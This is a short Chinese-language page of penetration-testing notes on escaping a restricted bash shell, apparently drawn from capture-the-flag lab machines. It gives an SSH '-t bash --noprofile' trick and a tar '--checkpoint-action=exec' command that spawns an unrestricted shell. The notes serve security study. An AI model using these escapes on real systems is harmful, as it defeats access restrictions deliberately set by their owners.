> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/post-exploitation/escaping-rbash-to-normal-bash-linux.md).
# 从 RBash 逃逸到普通 Bash
### SSH rbash：
用户 `mindy` 当前正在使用一个 `rbash` 该 shell 会限制许多命令的执行。
为了避免这种限制，我们可以使用需要 SSH 连接的命令来获取 Bash shell：
```bash
ssh mindy@10.10.10.51 -t "bash --noprofile"
```
### **rbash 绕过 - tar**
我们以 Ayush 登录，但我们只能使用一个 `rbash` shell。
可用命令列表：
```bash
compgen -c
```
我们找到 `tar` 并绕过 `rbash` 使用：
{% embed url="" %}
```bash
tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec/bin/bash
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
```
---
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